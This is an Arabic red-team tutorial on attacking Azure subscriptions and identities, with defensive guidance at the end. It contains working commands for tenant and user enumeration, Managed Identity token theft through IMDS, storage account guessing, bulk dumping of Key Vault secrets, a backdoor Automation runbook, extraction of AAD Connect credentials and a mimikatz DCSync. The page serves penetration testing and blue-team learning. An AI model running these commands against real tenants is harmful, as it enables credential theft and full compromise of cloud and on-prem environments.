الفرق الحمراء — الهجومخبير95mL52

هجمات Azure — الاشتراكات والهويات المدارة

استغلال Azure RBAC و Managed Identity و Key Vault

#Azure#RBAC#MI#Key Vault#Runbook

لماذا Azure مختلف عن AWS و GCP

Azure مدمج بعمق مع Entra ID (هوية المستخدمين) و Active Directory الكلاسيكي. الاختراق يقفز بين الطبقات: من حساب M365 → إلى Subscription → إلى VM → إلى on-prem AD. هذه الجسور هي ما يجعل Azure هدفاً ذهبياً للمهاجمين الحكوميين.

تشبيه — شرح مبسط
تخيّل مدينتين متجاورتين تربطهما جسور كثيرة. الحارس على كل جسر مختلف، و كثير من الجسور لم يبنها أحد عمداً — وُلدت من اتفاقيات قديمة. المهاجم يبحث عن أضعف جسر لا أقصر طريق.
تحذير قانوني
كل ما هنا للاختبار في بيئاتك الخاصة أو ضمن نطاق Pentest مصرّح به. مهاجمة subscription لا تملكها = جريمة اتحادية في معظم الدول.

نموذج الصلاحيات — RBAC + Entra Roles

Azure RBAC
صلاحيات على الموارد (VMs, Storage, KeyVault). تُمنح على Scope: Management Group → Subscription → Resource Group → Resource.
Entra (AAD) Roles
صلاحيات على الهوية (User Admin, Global Admin). منفصلة عن RBAC — Global Admin لا يرى Subscriptions تلقائياً (لكن يمكنه رفع نفسه عبر "Access management for Azure resources").
نقطة الضعف الكلاسيكية
Global Admin → فعّل "User Access Administrator at root" → Owner على كل Subscription. خطوتان فقط من تسريب MFA إلى السيطرة الكاملة.

الاستطلاع — معرفة Tenant بدون اعتماد

$ # هل النطاق tenant Azure؟ معرفة tenant ID:
$ curl -s 'https://login.microsoftonline.com/target.gov/.well-known/openid-configuration' | jq .issuer
$ # تعداد المستخدمين دون اعتماد (UserEnumerationTimingAttack)
$ AADInternals> Invoke-AADIntUserEnumerationAsOutsider -UserName 'admin@target.gov'
UserName Exists admin@target.gov True
$ # قائمة domains المربوطة بنفس tenant
$ Get-AADIntTenantDomains -Domain target.gov

Managed Identity — جوهرة المهاجم

عندما تشغّل VM أو Function App في Azure، يمكن منحها Managed Identity — هوية تلقائية مع صلاحيات على موارد أخرى. الفائدة: لا كلمات مرور. المشكلة: من يخترق الـ VM يصبح هذه الهوية فوراً.

$ # من داخل VM مخترقة — اطلب token من IMDS
$ curl -s -H 'Metadata: true' \ 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
{"access_token":"eyJ0eXA...","expires_in":"86399","resource":"https://management.azure.com/"}
$ # استخدمه عبر az CLI
$ export AZ_TOKEN=eyJ0eXA...
$ az rest --method get --uri 'https://management.azure.com/subscriptions?api-version=2020-01-01' --headers "Authorization=Bearer $AZ_TOKEN"
الجواهر
اسأل token لـ https://vault.azure.net ثم اقرأ Key Vault. أو لـ https://storage.azure.com و حمّل blobs. أو لـ https://graph.microsoft.com و اقرأ الـ Tenant.

Storage Accounts — أكبر مصدر تسريب

  • Public containers — مثل S3 buckets، لكن أصعب اكتشافاً (DNS غير قابل للحرث بسهولة).
  • SAS Tokens — مفاتيح مؤقتة. تظهر في كود JavaScript على الـ frontend، Postman, GitHub commits.
  • Storage Account Keys — مفتاحان أزليان لكل حساب. من يحصل عليهما = SYSTEM على البيانات.
$ # تخمين أسماء حسابات تخزين عامة
$ for name in target targetbackup targetdev targetprod; do
$ curl -sI "https://${name}.blob.core.windows.net/?comp=list" | head -1
$ done
HTTP/1.1 200 OK # موجود! HTTP/1.1 400 Bad Request
$ # Microburst لاكتشاف أسرع
$ Invoke-EnumerateAzureBlobs -Base 'target' -Permutations all

Key Vault — صندوق الأسرار الذهبي

Key Vault يحوي certificates, secrets, keys. الهجوم لا يكسر التشفير — يكسر سياسة الوصول.

bash
# كل من له get/list secrets يستطيع تنزيل كل شيء
az keyvault secret list --vault-name target-kv --query '[].name' -o tsv \
  | while read name; do
      echo "=== $name ==="
      az keyvault secret show --vault-name target-kv --name "$name" --query value -o tsv
    done

# Soft-delete لا يحميك — يمكن استعادة secret محذوف لمدة 90 يوماً
az keyvault secret list-deleted --vault-name target-kv
الدفاع
فعّل Purge Protection (لا يمكن إلغاؤها)، RBAC mode بدلاً من Access Policies (أدق)، Private Endpoint، و راقب SecretGet events في Defender.

Automation Accounts و Runbooks

Runbook = سكريبت PowerShell يعمل بصلاحيات Run-As Account (غالباً Contributor على Subscription). من يستطيع تعديله = من يصبح Contributor.

$ # إذا لديك Contributor على Automation Account:
$ az automation runbook create --resource-group rg --automation-account-name auto1 \ --name backdoor --type PowerShell
$ az automation runbook replace-content --resource-group rg --automation-account-name auto1 \ --name backdoor --content @evil.ps1
$ az automation runbook publish ...
$ az automation runbook start ... # يعمل بصلاحيات Run-As Identity

السكريبت evil.ps1 يمكنه إنشاء Service Principal بصلاحيات Owner و إرسال credentials خارج البيئة.

القفز إلى on-prem — Azure AD Connect

الخادم الذي يشغّل Azure AD Connect يحوي حسابي خدمة كلاهما خطر:

  • MSOL_* — له صلاحية DCSync على on-prem AD. من يحصل على hash هذا الحساب = يقرأ كل كلمات المرور.
  • Sync_* — له صلاحية على Entra لمزامنة الكلمات. كافٍ لإعادة تعيين كلمة مرور Global Admin سحابي إذا لم يكن "cloud-only".
powershell
# على خادم AAD Connect — استخراج credentials
adconnectdump.exe   # أو AADInternals: Get-AADIntSyncCredentials

# ثم DCSync بحساب MSOL_ من أي مكان داخل الشبكة
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator /authuser:MSOL_xxx /authpassword:xxx

الكشف و الدفاع

ما يجب أن يراه Blue Team
  • Sign-in Logs — تسجيل دخول من IP غير معتاد لمسؤول. UEBA risk score > 70.
  • Audit Logs — إضافة credential على Service Principal، تغيير Conditional Access policies، رفع role.
  • Activity Log — على Subscription: Microsoft.Authorization/roleAssignments/write، Microsoft.KeyVault/vaults/secrets/getSecret من principal غير معتاد.
  • Defender for Cloud — يكشف Managed Identity token abuse و IMDS من شبكة غير معتادة.
  • طبّق Conditional Access على كل دور إداري — تصلب MFA + Trusted Locations + Compliant Device.
  • استخدم Privileged Identity Management (PIM) — أدوار Just-In-Time مع تفعيل و موافقة.
  • فصل Break-Glass accounts (2 على الأقل) خارج Conditional Access مع تنبيه عند كل استخدام.
  • راجع Service Principals كل أسبوع — كثير منها ينسى مع credentials لا تنتهي.
أدوات Red Team
AADInternals, ROADtools, MicroBurst, AzureHound, Stormspotter, MSOLSpray, TokenTactics.